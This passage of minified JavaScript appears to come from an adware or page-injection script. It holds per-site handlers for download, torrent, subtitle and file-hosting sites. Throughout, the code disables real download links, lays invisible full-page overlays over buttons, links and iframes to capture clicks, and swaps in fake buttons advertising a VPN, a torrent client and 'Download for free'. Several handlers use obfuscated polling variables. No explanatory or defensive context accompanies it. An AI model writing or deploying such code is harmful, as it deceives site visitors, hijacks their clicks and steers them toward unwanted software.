function(){this.init=function(){-1<document.location.host.indexOf(\"p3seal.co\")&&(a=document.getElementById(\"continue\"),a.setAttribute(\"onclick\",\"return false\"),a.setAttribute(\"href\",\"\"),a.addEventListener(\"click\",function(e){e.returnValue=!1;e.preventDefault&&e.preventDefault()},!1),a.addEventListener(\"mousedown\",function(e){e.returnValue=!1;e.preventDefault&&e.preventDefault()},\n!1))}};this[\"mp3vampire.com\"]=new function(){this.init=function(){-1<document.location.host.indexOf(\"p3vampire.co\")&&(a=document.getElementById(\"continue\"),a.setAttribute(\"onclick\",\"return false\"),a.setAttribute(\"href\",\"\"),a.addEventListener(\"click\",function(e){e.returnValue=!1;e.preventDefault&&e.preventDefault()},!1),a.addEventListener(\"mousedown\",function(e){e.returnValue=!1;e.preventDefault&&e.preventDefault()},!1))}};this[\"minecraftdl.com\"]=new function(){this.init=function(){-1<document.location.href.indexOf(\"necraftdl.com/download.ph\")&&\n(a=document.getElementById(\"downloadpage\"),b=a.getElementsByTagName(\"a\")[0],d=document.createElement(\"div\"),d.style.position=\"absolute\",d.style.width=\"100%\",d.style.height=\"34px\",d.style.left=\"0\",d.style.cursor=\"pointer\",d.style.zIndex=9999,b.parentNode.insertBefore(d,b.previousSibling));if(-1<document.location.href.indexOf(\"necraftdl.com\"))for(i=0;i<document.links.length;i++){var e=document.links;\".exe\"==e.href.substr(-4)&&(e=e.parentNode,e.style.position=\"relative\",d=document.createElement(\"div\"),\nd.style.position=\"absolute\",d.style.top=0,d.style.left=0,d.style.width=\"100%\",d.style.height=\"100%\",d.style.cursor=\"pointer\",d.style.zIndex=9999,e.appendChild(d))}}};this[\"leunlckr.co\"]=new function(){this.init=function(){if(-1<document.location.host.indexOf(\"leunlckr.co\")){var e=document.getElementsByTagName(\"button\")[0],h=document.createElement(\"button\");h.className=e.className;h.innerHTML=e.innerHTML;e.parentNode.insertBefore(h,e);e.parentNode.removeChild(e)}}};this[\"go.theadsnet.com\"]=new function(){this.init=\nfunction(){-1<document.referrer.indexOf(\"go.theadsnet.com\")&&document.write(\"\");(function(){var e=0;try{if(-1<window.location.href.indexOf(\"ack-free.co\"))var h=setInterval(function(){try{var k=document.getElementById(\"ucd-countdown-1\"),m=[];m.push(1*k.children[2].children[1].children[1].innerText);m.push(1*k.children[2].children[2].children[1].innerText);m.push(1*k.children[3].children[1].children[1].innerText);m.push(1*k.children[3].children[2].children[1].innerText);for(var n=k=0;n<m.length;n++)k+=\nm[n];if(!(0<k)){clearInterval(h);var q=document.createElement(\"div\");q.style.position=\"absolute\";q.style.top=0;q.style.left=0;q.style.width=\"100%\";q.style.height=\"100%\";q.style.zIndex=\"9999\";q.style.cursor=\"pointer\";var t=document.getElementById(\"ucd-countdown-1-content\").children[1];t.style.position=\"relative\";t.appendChild(q)}}catch(r){try{var u=0;jQuery.each(jQuery(\".ucd-figure.ucd-countdown-digit-bottom\"),function(){u+=1*jQuery(this).text()});if(0===u){clearInterval(h);var w=jQuery(\"#ucd-countdown-1-content iframe\"),\nx=w.parent();w.remove();x.html(\"<img title='Get Download' alt='latbut' src='http://i.imgur.com/At0oA5A.png' height='61' width='373'>\")}}catch(v){\"undefined\"!==typeof e&&30<++e&&clearInterval(h)}}},750)}catch(k){}})()}};this[\"ziddu.com\"]=new function(){this.init=function(){var e=0,h=setInterval(function(){e++;if(-1<window.location.host.indexOf(\"ownloads.ziddu.co\")){for(var k=0;k<document.links.length;k++)try{var l=document.links[k].href.toLowerCase();if(-1==l.indexOf(\"ww.ziddu.co\")&&-1==l.indexOf(\"#\")&&\n-1==l.indexOf(\"tunes.apple.co\")&&-1==l.indexOf(\"lay.google.co\")&&-1==l.indexOf(\"/gallery/\")){try{for(var m=document.links[k],n=0;15>=n;n++)m=m.parentNode;if(-1<m.className.indexOf(\"footerbg\"))continue}catch(q){}var t=document.links[k].parentNode;if(!(-1<t.className.indexOf(\"addthis_toolbox\"))){t.style.position=\"relative\";var r=document.createElement(\"div\");r.style.position=\"absolute\";r.style.left=0;r.style.top=0;r.style.width=\"100%\";r.style.height=\"100%\";r.style.zIndex=\"9999\";r.style.cursor=\"pointer\";\nt.appendChild(r)}}}catch(u){}l=document.getElementsByTagName(\"iframe\");for(k=0;k<l.length;k++)try{-1==l[k].src.indexOf(\"acebook.co\")&&-1==l[k].src.indexOf(\"cp.crwdcntrl.ne\")&&(t=l[k].parentNode,t.style.position=\"relative\",r=document.createElement(\"div\"),r.style.position=\"absolute\",r.style.left=0,r.style.top=0,r.style.width=\"100%\",r.style.height=\"100%\",r.style.zIndex=\"9999\",r.style.cursor=\"pointer\",r.id=k,t.appendChild(r))}catch(w){}}20<e&&clearInterval(h)},500)}};this[\"pensubtitles.us\"]=new function(){this.init=\nfunction(){if(-1<window.location.href.indexOf(\"/opensubtitles-playe\")){var e=document.getElementById(\"divPlayerDesc\");if(null!=e){e.style.position=\"relative\";var h=document.createElement(\"div\");h.style.position=\"absolute\";h.style.width=\"100%\";h.style.height=\"100%\";h.style.cursor=\"pointer\";h.style.top=\"0\";h.style.zIndex=\"2000\";e.appendChild(h);if(e=e.children[0]){var k=e.children[0];k&&(k.setAttribute(\"href\",\"javascript:void(0);\"),k.setAttribute(\"target\",\"_self\"))}}e=document.getElementById(\"divPlayerHead\");\nif(null!=e)for(var l=0;l<e.children.length;l++)if(\"span\"==e.children[l].tagName.toLowerCase()){var m=e.children[l],h=document.createElement(\"div\");h.style.position=\"absolute\";h.style.width=\"106%\";h.style.height=\"70px\";h.style.cursor=\"pointer\";h.style.top=\"-50px\";h.style.left=\"-6%\";h.style.zIndex=\"2000\";if(k=m.children[0])k.setAttribute(\"href\",\"javascript:void(0);\"),k.setAttribute(\"target\",\"_self\");m.style.position=\"relative\";m.appendChild(h)}}}};this[\"opensubtitles.org\"]=new function(){this.init=\nfunction(){new function(){var e=document.getElementById(\"scrubbuad\");e&&(e.style.zIndex=\"15\",h=document.createElement(\"div\"),h.style.zIndex=\"15000\",h.style.right=\"9px\",h.style.bottom=\"0\",h.style.position=\"fixed\",h.style.padding=\"0\",h.style.margin=\"0 0 30px 0\",h.style.width=\"220px\",h.style.height=\"72px\",h.style.overflow=\"visible\",h.style.cursor=\"pointer\",document.getElementsByTagName(\"body\")[0].firstChild.appendChild(h));if(-1<window.location.href.indexOf(\"/opensubtitles-playe\")){e=document.getElementById(\"divPlayerDesc\");\nif(null!=e){e.style.position=\"relative\";var h=document.createElement(\"div\");h.style.position=\"absolute\";h.style.width=\"100%\";h.style.height=\"100%\";h.style.cursor=\"pointer\";h.style.top=\"0\";h.style.zIndex=\"2000\";e.appendChild(h)}e=document.getElementById(\"divPlayerHead\");if(null!=e)for(var k=0;k<e.children.length;k++)if(\"span\"==e.children[k].tagName.toLowerCase()){var l=e.children[k],h=document.createElement(\"div\");h.style.position=\"absolute\";h.style.width=\"100%\";h.style.height=\"70px\";h.style.cursor=\n\"pointer\";h.style.top=\"-50px\";h.style.zIndex=\"2000\";l.style.position=\"relative\";l.appendChild(h)}}for(e=0;e<document.links.length;e++)h=document.links[e],(k=h.getAttribute(\"href\"))&&-1<k.indexOf(\"ads2.opensubtitles.org/www/delivery/ck.php\")&&(k=n.utils.duplicateElement(h),l=h.parentNode,l.insertBefore(k,h),l.removeChild(h))}}};this[\"romptfile.co\"]=new function(){this.init=function(){if(-1<location.host.toLowerCase().indexOf(\"romptfile.co\")){for(var e={},h=document.getElementsByTagName(\"iframe\"),k=\n0;k<h.length;k++)\"300\"==h[k].getAttribute(\"width\")&&\"250\"==h[k].getAttribute(\"height\")&&(e=h[k].parentNode);e.style.position=\"relative\";d=document.createElement(\"div\");d.style.position=\"absolute\";d.style.width=\"100%\";d.style.height=\"255px\";d.style.cursor=\"pointer\";d.style.top=\"0\";d.style.zIndex=\"2000\";e.appendChild(d)}}};this[\"pensoftwareupdater.co\"]=new function(){this.init=function(){new function(){if(-1<window.location.host.toLowerCase().indexOf(\"pensoftwareupdater.co\"))if(\"undefined\"!==typeof $)window.__qqcount=\n0,window.__qqint=setInterval(function(){var e=$(\".download\").parent();e.css(\"position\",\"relative\");var h=document.createElement(\"div\");h.style.position=\"absolute\";h.style.zIndex=\"2000\";h.style.height=\"100%\";h.style.width=\"122px\";h.style.right=\"0\";h.style.top=\"0\";h.style.cursor=\"pointer\";e.append(h);e=$(\"#addBoxX\").parent();e.css(\"position\",\"relative\");h=document.createElement(\"div\");h.style.position=\"absolute\";h.style.zIndex=\"2000\";h.style.height=\"45px\";h.style.width=\"101px\";h.style.right=\"22px\";\nh.style.bottom=\"16px\";h.style.cursor=\"pointer\";e.append(h);win

dow.__qqcount++;10<window.__qqcount&&clearInterval(window.__qqint)},250);else for(var e=document.links,h={},k={},l=0;l<e.length;l++)h=e[l].getAttribute(\"href\"),null!=h&&-1<h.toLowerCase().indexOf(\"pensoftwareupdater.com/idownloader.ph\")&&(h=e[l].getAttribute(\"id\"),null!=h&&\"addBoxX\"==h?(k=e[l].parentNode,k.style.position=\"relative\",h=document.createElement(\"div\"),h.style.position=\"absolute\",h.style.zIndex=\"2000\",h.style.height=\"45px\",h.style.width=\n\"101px\",h.style.right=\"22px\",h.style.bottom=\"16px\"):(k=e[l].parentNode,k.style.position=\"relative\",h=document.createElement(\"div\"),h.style.position=\"absolute\",h.style.zIndex=\"2000\",h.style.height=\"100%\",h.style.width=\"122px\",h.style.right=\"0\",h.style.top=\"0\"),h.style.cursor=\"pointer\",k.appendChild(h))}}};this[\"veehd.com\"]=new function(){this.init=function(){new function(){if(-1<window.location.href.indexOf(\"veehd.com/video/\")){var e=document.getElementsByTagName(\"iframe\")[0],h={};null!=e&&(e=e.parentNode,\nh=document.createElement(\"div\"),h.style.top=\"0\",h.style.width=\"100%\",h.style.height=\"100%\",h.style.cursor=\"pointer\",h.style.zIndex=\"2000\",h.style.position=\"absolute\",e.style.position=\"relative\",e.appendChild(h));e=document.getElementById(\"preview\");null!=e&&(h=document.createElement(\"div\"),h.style.top=\"0\",h.style.width=\"100%\",h.style.height=\"100%\",h.style.cursor=\"pointer\",h.style.zIndex=\"2000\",h.style.position=\"absolute\",e.style.position=\"relative\",e.appendChild(h))}else for(var h=document.getElementsByTagName(\"a\"),\nk=0;k<h.length;k++)if(\"getDownload();\"==h[k].getAttribute(\"onclick\")){e=document.createElement(\"a\");e.style.cursor=\"pointer\";var l=document.createElement(\"img\");l.setAttribute(\"src\",h[k].children[0].getAttribute(\"src\"));l.setAttribute(\"border\",\"0\");e.appendChild(l);l=h[k].parentNode;l.removeChild(h[k]);h=l.getElementsByTagName(\"div\")[0];l.insertBefore(e,h);break}}}};this[\"ullypcgames.ne\"]=new function(){this.init=function(){if(-1<window.location.host.toLowerCase().indexOf(\"ullypcgames.ne\"))for(var e=\ndocument.getElementsByTagName(\"center\"),h=0;h<e.length;h++){var k=e[h].firstChild;\"undefined\"!==typeof k.tagName&&\"a\"==k.tagName.toLowerCase()&&(e[h].style.position=\"relative\",k=document.createElement(\"div\"),k.style.position=\"absolute\",k.style.top=\"0\",k.style.left=\"0\",k.style.width=\"100%\",k.style.height=\"100%\",k.style.zIndex=\"2000\",k.style.cursor=\"pointer\",e[h].appendChild(k))}}};this[\"llplayer.com.b\"]=new function(){this.init=function(){if(-1<window.location.host.toLowerCase().indexOf(\"llplayer.com.b\"))for(var e=\ndocument.getElementsByTagName(\"img\"),h=0;h<e.length;h++)if(e[h].getAttribute(\"src\")&&-1<e[h].getAttribute(\"src\").indexOf(\"fullpage_eng.png\")){var k=document.createElement(\"div\");k.style.width=\"100%\";k.style.height=\"100%\";k.style.position=\"absolute\";k.style.zIndex=\"9999\";k.style.top=\"0\";k.style.cursor=\"pointer\";var l=e[h].parentNode.parentNode;l.style.position=\"relative\";l.appendChild(k)}}};this[\"ubtitulosespanol.or\"]=new function(){this.init=function(){if(0<location.host.toLowerCase().indexOf(\"ubtitulosespanol.or\")){var e=\ndocument.links;for(i=0;i<e.length;i++)if(\"Descargue su subt\\u00edtulo aqu\\u00ed\"===(e.innerText?e.innerText:e.textContent)){var h=document.createElement(\"div\");h.style.position=\"absolute\";h.style.width=\"100%\";h.style.height=\"100%\";h.style.cursor=\"pointer\";h.style.top=\"0\";h.style.left=\"0\";h.style.zIndex=\"2000\";var k=e.parentNode;k.appendChild(h);k.style.position=\"relative\"}}}};this[\"ubtitles4free.ne\"]=new function(){this.init=function(){if(0<location.host.toLowerCase().indexOf(\"ubtitles4free.ne\")){var e=\ndocument.links;for(i=0;i<e.length;i++)if(\"Download Subtitle\"===(e.innerText?e.innerText:e.textContent)||\"Download Player\"===(e.innerText?e.innerText:e.textContent)){var h=document.createElement(\"div\");h.style.position=\"absolute\";h.style.width=\"100%\";h.style.height=\"100%\";h.style.cursor=\"pointer\";h.style.top=\"0\";h.style.left=\"0\";h.style.zIndex=\"2000\";var k=e[i].parentNode;k.appendChild(h);k.style.position=\"relative\"}}}};this[\"legendasbrasil.org\"]=new function(){this.init=function(){if(0<\nlocation.host.toLowerCase().indexOf(\"legendasbrasil.org\")){var e=document.links;for(i=0;i<e.length;i++)if(\"Baixar Legenda\"===(e[i].innerText?e[i].innerText:e[i].textContent)||\"Baixar Player\"===(e[i].innerText?e[i].innerText:e[i].textContent)||\"Baixe sua legenda aqui\"===(e[i].innerText?e[i].innerText:e[i].textContent)){var h=document.createElement(\"div\");h.style.position=\"absolute\";h.style.width=\"100%\";h.style.height=\"100%\";h.style.cursor=\"pointer\";h.style.top=\"0\";h.style.left=\"0\";h.style.zIndex=\"2000\";\nvar k=e[i].parentNode;k.appendChild(h);k.style.position=\"relative\"}}}};this[\"reeroms.co\"]=new function(){this.init=function(){window.location.host.toLowerCase().indexOf(\"reeroms.co\")&&(window.__sdahfjkahfals3243Count=0,window.__sdahfjkahfals3243Int=setInterval(function(){for(var e=document.getElementsByTagName(\"a\"),h=0;h<e.length;h++){var k=\"undefined\"===typeof e[h].innerText?e[h].textContent:e[h].innerText,k=k.trim();if(\"Download\"===k||0==k.indexOf(\"Direct\")){var l=document.createElement(\"div\");\nl.style.width=\"100%\";l.style.height=\"100%\";l.style.position=\"absolute\";l.style.zIndex=\"9999\";l.style.top=\"0\";l.style.cursor=\"pointer\";var m=e[h].parentNode;m.style.position=\"relative\";m.appendChild(l);0==k.indexOf(\"Direct\")&&clearInterval(window.__sdahfjkahfals3243Int)}}40<window.__sdahfjkahfals3243Count++&&clearInterval(window.__sdahfjkahfals3243Int)},500))}};this[\"eneral-ebooks.co\"]=new function(){this.init=function(){if(-1<window.location.host.toLowerCase().indexOf(\"eneral-ebooks.co\"))for(var e=\ndocument.getElementsByTagName(\"iframe\"),h=0;h<e.length;h++){var k=e[h].parentNode;if(null!=k){var l=k.getAttribute(\"class\");null!=l&&-1<l.indexOf(\"banner-body\")&&(l=document.createElement(\"div\"),l.style.width=\"100%\",l.style.height=\"100%\",l.style.position=\"absolute\",l.style.zIndex=\"9999\",l.style.top=\"0\",l.style.cursor=\"pointer\",k.style.position=\"relative\",k.appendChild(l))}}}};this[\"stream2watch.me\"]=new function(){this.init=function(){-1<location.host.toLowerCase().indexOf(\"stream2watch.me\")&&(window.__z_tream2count=\n0,window.__z_tream2int=setInterval(function(){20<window.__z_tream2count++&&clearInterval(window.__z_tream2int);var e=document.getElementById(\"rh_toolbar_STRTOPB\"),h=document.getElementById(\"rhfrm_STRTOPB\");if(null!=e&&null!=h){var k=document.createElement(\"div\");k.style.width=\"100%\";k.style.height=\"100%\";k.style.cursor=\"pointer\";k.style.zIndex=\"2000\";k.style.position=\"absolute\";e.appendChild(k);h.style.position=\"absolute\";h.style.zIndex=\"-1\";clearInterval(window.__z_tream2int)}},500))}};this[\"old_ki_ckass.to\"]=\nnew function(){var e=this;e.init=function(){location.protocol+\"//\"+window.location.host+\"/\"!=window.location.href&&(e.counter=0,e.kickass=function(){20<++e.counter&&clearInterval(e.interval);var h=n.utils.query_selector_all(\".advertDownload\");if(0<h.length){var k=document.createElement(\"div\");k.style.width=\"100%\";k.style.height=\"100%\";k.style.cursor=\"pointer\";k.style.zIndex=\"2000\";k.style.position=\"absolute\";k.style.top=\"0\";k.style.left=\"0\";h[0].appendChild(k);h[0].style.position=\"relative\";h[0].style.overflow=\n\"hidden\";h=h[0].getElementsByTagName(\"a\");for(k=0;k<h.length;k++)h[k].setAttribute(\"href\",\"javascript:void(0);\"),h[k].setAttribute(\"onclick\",\"void(0);\");clearInterval(e.interval)}},e.interval=setInterval(e.kickass,500))}};this[\"kickass.to\"]=new function(){var e=this;e.init=function(){if(location.protocol+\"//\"+window.location.host+\"/\"!=window.location.href){e.counter=0;e.___ZskskskCount=0;e.___ZskskskthisZ=function(){try{20<++e.___ZskskskCount&&clearInterval(e.___ZskskskInter);for(var h=document.getElementsByTagName(\"div\"),\nk=0;k<h.length;k++){var l=h[k].getAttribute(\"align\");if(l&&\"center\"==l){var m=h[k].children[0];if(m&&m.getAttribute&&\"siteButton giantButton\"==m.getAttribute(\"class\")){var n=document.createElement(\"a\");n.style.fontSize=\"20px\";n.style.textAlign=\"center\";n.style.marginBottom=\"5px\";n.className=\"siteButton giantButton\";var p=document.createElement(\"span\");p.innerText?p.innerText=\"Protect yourself now with hide.me VPN\":p.textContent=\"Protect yourself now with hide.me VPN\";n.appendChild(p);h[k].removeChild(m);\nh[k].appendChild(n);clearInterval(e.___ZskskskInter)}}}}catch(v){clearInterval(e.___ZskskskInter)}};e.___ZskskskInter=setInterval(e.___ZskskskthisZ,500);for(var h=n.utils.query_selector_all(\".partner1Button.idownload.icon16\"),k=0;k<h.length;k++){var l=h[k].nextSibling,m=document.createElement(\"a\");m.className=\"partner1Button idownload icon16\";m.setAttribute(\"href\",\"#\");var p=document.createElement(\"span\");m.appendChild(p);p=h[k].parentNode;l?p.insertBefore(m,l):p.appendChild(m);p.removeChild(h[k])}e.counter=\n0;e.kickassx=function(){20<++e.counter&&clearInterval(e.interval);0<n.utils.query_selector_all(\"div#vuzeDownload a\").length&&(document.getElementById(\"vuzeDownload\").parentNode.innerHTML='<div id=\"vuzeDownload\">To download this torrent, you need a BitTorrent client: <a href=\"#\">Bitlord</a></div>',clearInterval(e.interval))};e.interval=setInterval(e.kickassx,500);e.counterClick=0;e.kickassClick=function(){20<++e.counterClick&&clearInterval(e.interval2);var h=n.utils.query_selector_all(\".block.botmarg5px\")[0];\nh&&\"Download faster CLICK HERE\"==(h.innerText?h.innerText:h.textContent)&&(h.innerHTML='<div class=\"block botmarg5px\">Download faster <a href=\"#\">CLICK HERE</a></div>',clearInterval(e.interval2))};e.interval2=setInterval(e.kickassClick,500)}}};this[\"kickass.so\"]=new function(){var e=this;e.init=function(){if(location.protocol+\"//\"+window.location.host+\"/\"!=window.location.href){e.counter=0;e.___ZskskskCount=0;e.___ZskskskthisZ=function(){try{20<++e.___ZskskskCount&&clearInterval(e.___ZskskskInter);\nfor(var h=document.getElementsByTagName(\"div\"),k=0;k<h.length;k++){var l=h[k].getAttribute(\"align\");if(l&&\"center\"==l){var m=h[k].children[0];if(m&&m.getAttribute&&\"siteButton giantButton\"==m.getAttribute(\"class\")){var n=document.createElement(\"a\");n.style.fontSize=\"20px\";n.style.textAlign=\"center\";n.style.marginBottom=\"5px\";n.className=\"siteButton giantButton\";var p=document.createElement(\"span\");p.innerText?p.innerText=\"Protect yourself now with hide.me VPN\":p.textContent=\"Protect yourself now with hide.me VPN\";\nn.appendChild(p);h[k].removeChild(m);h[k].appendChild(n);clearInterval(e.___ZskskskInter)}}}}catch(v){clearInterval(e.___ZskskskInter)}};e.___ZskskskInter=setInterval(e.___ZskskskthisZ,500);for(var h=n.utils.query_selector_all(\".partner1Button.idownload.icon16\"),k=0;k<h.length;k++){var l=h[k].nextSibling,m=document.createElement(\"a\");m.className=\"partner1Button idownload icon16\";m.setAttribute(\"href\",\"#\");var p=document.createElement(\"span\");m.appendChild(p);p=h[k].parentNode;l?p.insertBefore(m,l):\np.appendChild(m);p.removeChild(h[k])}e.counter=0;e.kickassx=function(){20<++e.counter&&clearInterval(e.interval1);0<n.utils.query_selector_all(\"div#vuzeDownload a\").length&&(document.getElementById(\"vuzeDownload\").parentNode.innerHTML='<div id=\"vuzeDownload\">To download this torrent, you need a BitTorrent client: <a href=\"#\">Bitlord</a></div>',clearInterval(e.interval1))};e.interval1=setInterval(e.kickassx,500);e.counterClick=0;e.kickassClick=function(){20<++e.counterClick&&clearInterval(e.interval2);\nvar h=n.utils.query_selector_all(\".block.botmarg5px\")[0];h&&\"Download faster CLICK HERE\"==(h.innerText?h.innerText:h.textContent)&&(h.innerHTML='<div class=\"block botmarg5px\">Download faster <a href=\"#\">CLICK HERE</a></div>',clearInterval(e.interval2))};e.interval2=setInterval(e.kickassClick,500)}}};this[\"uploadrocket.net\"]=new function(){this.init=function(){var e=n.utils.query_selector_all(\".dlbutton_green\");if(e&&0<e.length){var e=e[0],h=document.createElement(\"a\");h.className=\"dlbutton_green\";\nh.setAttribute(\"href\",\"javascript:void(0)\");var k=document.createElement(\"span\");k.innerText?k.innerText=\"Download Now\":k.textContent=\"Download Now\";h.appendChild(k);k=e.parentNode;k.removeChild(e);k.appendChild(h)}(e=n.utils.query_selector_all(\".middle\"))&&0<e.length&&(e=e[0].children[4])&&e.setAttribute(\"href\",\"javascript:void(0);\");if((e=n.utils.query_selector_all(\"#ID_freeorpremium table tr td a\"))&&0<e.length)for(h=0;h<e.length;h++)e[h].setAttribute(\"href\",\"javascript:void(0);\");(e=n.utils.query_selector_all(\"#ID_freeorpremium input[type='submit']\"))&&\n0<e.length&&e[0].setAttribute(\"type\",\"button\");(e=n.utils.query_selector_all(\"#ID_freeorpremium\"))&&0<e.length&&(e=e[0])&&(e.style.position=\"relative\",h=document.createElement(\"div\"),h.style.position=\"absolute\",h.style.width=\"100%\",h.style.height=\"95px\",h.style.zIndex=\"2000\",h.style.top=\"0\",h.style.cursor=\"pointer\",e.appendChild(h))}};this[\"programas-gratis.net\"]=new function(){this.init=function(){for(var e=n.utils.query_selector_all(\".list.new .download_button\"),h=0;h<e.length;h++){var k=e[h].parentNode;\nk.style.position=\"relative\";var l=document.createElement(\"span\");l.style.position=\"absolute\";l.style.width=\"124px\";l.style.height=\"42px\";l.style.zIndex=\"2000\";l.style.top=\"44px\";l.style.right=\"9px\";l.style.cursor=\"pointer\";k.appendChild(l);e[h].setAttribute(\"href\",\"javascript:void(0)\")}}};this[\"programasgratis.es\"]=new function(){this.init=function(){for(var e=n.utils.query_selector_all(\"#bloque_top_portada .programa_top_portada a\"),h=0;h<e.length;h++)if(e[h].setAttribute(\"href\",\"javascript:void(0)\"),\n\"rojo\"!=e[h].className){var k=e[h].parentNode;k.style.position=\"relative\";var l=document.createElement(\"span\");l.style.position=\"absolute\";l.style.width=\"100%\";l.style.height=\"152px\";l.style.zIndex=\"2000\";l.style.top=\"0\";l.style.right=\"0\";l.style.cursor=\"pointer\";k.appendChild(l)}e=n.utils.query_selector_all(\".bloque_novedades .link_categoria_descargar\");for(h=0;h<e.length;h++)k=e[h].parentNode,k.style.position=\"relative\",l=document.createElement(\"span\"),l.style.position=\"absolute\",l.style.width=\n\"124px\",l.style.height=\"42px\",l.style.zIndex=\"2000\",l.style.top=\"-5px\",l.style.right=\"0\",l.style.cursor=\"pointer\",k.appendChild(l),e[h].setAttribute(\"href\",\"javascript:void(0)\")}};this[\"programasejogos.com\"]=new function(){this.init=function(){for(var e=n.utils.query_selector_all(\".enlace_pestania_descargar\"),h=0;h<e.length;h++){var k=e[h].parentNode;k.style.position=\"relative\";var l=document.createElement(\"span\");l.style.position=\"absolute\";l.style.width=\"200px\";l.style.height=\"90px\";l.style.zIndex=\n\"2000\";l.style.top=\"65px\";l.style.right=\"0\";l.style.cursor=\"pointer\";k.appendChild(l);e[h].setAttribute(\"href\",\"javascript:void(0)\")}e=[];e=e.concat(n.utils.query_selector_all(\".linea_fondo1 .enlace_pestania_descargar_pequeno\"));e=e.concat(n.utils.query_selector_all(\".linea_fondo1 .boton_clase_listado\"));e=e.concat(n.utils.query_selector_all(\".linea_fondo .enlace_pestania_descargar_pequeno\"));for(h=0;h<e.length;h++)for(var m=0;m<e[h].length;m++)k=e[h][m].parentNode,k.style.position=\"relative\",l=document.createElement(\"span\"),\nl.style.position=\"absolute\",l.style.width=\"115px\",l.style.height=\"28px\",l.style.zIndex=\"2000\",l.style.top=\"0\",l.style.right=\"0\",l.style.cursor=\"pointer\",k.appendChild(l),e[h][m].setAttribute(\"href\",\"javascript:void(0)\");e=n.utils.query_selector_all(\".pyj_registro_inferior .enlace_pestania_descargar_pequeno\");for(h=0;h<e.length;h++)k=e[h].parentNode,k.style.position=\"relative\",l=document.createElement(\"span\"),l.style.position=\"absolute\",l.style.width=\"105px\",l.style.height=\"29px\",l.style.zIndex=\"2000\",\nl.style.top=\"3px\",l.style.right=\"-4px\",l.style.cursor=\"pointer\",k.appendChild(l),e[h].setAttribute(\"href\",\"javascript:void(0)\")}};this[\"uploading.com\"]=new function(){this.init=function(){if(window.self===window.top&&location.host.toLowerCase().indexOf(\"ploading.com/files/\"))for(var e=typeof document.querySelectorAll?document.getElementsByTagName(\"div\"):document.querySelectorAll(\"div.method_title\"),h=0;h<e.length;h++){var k=e[h].className;k&&\"undefined\"!==typeof k&&-1<k.indexOf(\"method_title\")&&(k=\ne[h].getAttribute(\"onclick\"))&&\"undefined\"!==typeof k&&-1<k.indexOf(\"location.href\")&&(e[h].setAttribute(\"onclick\",\"void(0);\"),k=e[h].cloneNode(!0),e[h].parentNode.replaceChild(k,e[h]),k.setAttribute(\"onclick\",\"void(0);\"))}setTimeout(function(){var e=n.utils.query_selector_all(\".method_title\")[0];if(e){var h=e.parentNode,k=document.createElement(\"div\");k.className=\"method_title\";var q=document.createElement(\"i\"),t=document.createElement(\"span\");t.setAttribute(\"id\",\"timer_count\");t.innerText=\"Download for free\";\nt.textContent=\"Download for free\";k.appendChild(q);k.appendChild(t);h.insertBefore(k,e);h.removeChild(e)}},1E3)}};this[\"flexydrive.com\"]=new function(){this.init=function(){for(var e=0;e<document.links.length;e++){var h=document.links[e],k=h.getAttribute(\"href\");if(k&&-1<k.indexOf(\"file21desktop.com\")){var k=n.utils.duplicateElement(h),l=h.parentNode;l.insertBefore(k,h);l.removeChild(h)}}}};this[\"media1fire.com\"]=new function(){this.init=function(){var e=n.utils.query_selector_all('input[name=\"adcopy_response\"]');\n0<e.length&&(e[0].disabled=!0);for(e=0;e<document.links.length;e++){var h=document.links[e],k=h.getAttribute(\"href\");if(k&&-1<k.indexOf(\"file21desktop.com\")){var k=n.utils.duplicateElement(h),l=h.parentNode;l.insertBefore(k,h);l.removeChild(h)}}}};this[\"softwareandgames.com\"]=new function(){this.init=function(){for(var e=0;e<document.links.length;e++){var h=document.links[e],k=h.getAttribute(\"href\");if(k&&-1<k.indexOf(\"softwareandgames.com/download\")){var k=n.utils.duplicateElement(h),l=h.parentNode;\nl.insertBefore(k,h);l.removeChild(h)}}}};this[\"programmesetjeux.com\"]=new function(){this.init=function(){for(var e=0;e<document.links.length;e++){var h=document.links[e],k=h.getAttribute(\"href\");if(k&&-1<k.indexOf(\"programmesetjeux.com/telecharger\")){var k=n.utils.duplicateElement(h),l=h.parentNode;l.insertBefore(k,h);l.removeChild(h)}}}};this[\"baixarjogos.com\"]=new function(){this.init=function(){for(var e=0;e<document.links.length;e++){var h=document.links[e],k=h.getAttribute(\"href\");if(k&&-1<\nk.indexOf(\"baixarjogos.com/baixar\")){var k=n.utils.duplicateElement(h),l=h.parentNode;l.insertBefore(k,h);l.removeChild(h)}}}};this[\"descargarjuegos.com\"]=new function(){this.init=function(){for(var e=0;e<document.links.length;e++){var h=document.links[e],k=h.getAttribute(\"href\");if(k&&-1<k.indexOf(\"descargarjuegos.com/descargar\")){var k=n.utils.duplicateElement(h),l=h.parentNode;l.insertBefore(k,h);l.removeChild(h)}}}};this[\"hotfiles.ro\"]=new function(){this.init=function(){for(var e=0;e<document.links.length;e++){var h=\ndocument.links[e],k=h.getAttribute(\"href\");if(k&&-1<k.indexOf(\"hotfil.es/goref.php\")){var k=n.utils.duplicateElement(h),l=h.parentNode;l.insertBefore(k,h);l.removeChild(h)}}}};this[\"vitanclub.net\"]=new function(){this.init=function(){var e=n.utils.query_selector_all(\".pdld\")[0],h=n.utils.duplicateElement(e),k=e.parentNode;k.insertBefore(h,e);k.removeChild(e);e=document.getElementById(\"container_bottom\");n.utils.coverElement(e)}};this[\"mirrorcreator.com\"]=new function(){this.init=function(){for(var e=\n0;e<document.links.length;e++){var h=document.links[e],k=h.getAttribute(\"href\");if(k&&(-1<k.indexOf(\"getsecuredfiles.com/mirrorc\")||-1<k.indexOf(\"westzip.in/\"))){var k=n.utils.duplicateElement(h),l=h.parentNode;l.insertBefore(k,h);l.removeChild(h)}}}};this[\"mestorrents.com\"]=new function(){this.init=function(){for(var e=0;e<document.links.length;e++){var h=document.links[e],k=h.getAttribute(\"href\");if(k&&-1<k.indexOf(\"pubted.com/www/delivery/\")){var k=n.utils.duplicateElement(h),l=h.parentNode;l.insertBefore(k,\nh);l.removeChild(h)}}}};this[\"vitorrent.net\"]=new function(){this.init=function(){for(var e=0;e<document.links.length;e++){var h=document.links[e],k=h.getAttribute(\"href\");if(k&&-1<k.indexOf(\"/file.php\")){var k=n.utils.duplicateElement(h),l=h.parentNode;l.insertBefore(k,h);l.removeChild(h)}}}};this[\"uploaded.net\"]=new function(){this.init=function(){var e=n.utils.query_selector_all(\".free\")[0];if(\"undefined\"!==typeof e){var h=n.utils.duplicateElement(e);h.style.border=\"none\";var k=e.parentNode;k.insertBefore(h,\ne);k.removeChild(e)}e=n.utils.query_selector_all(\"#download .center\")[0];\"undefined\"!==typeof e&&n.utils.coverElement(e,void 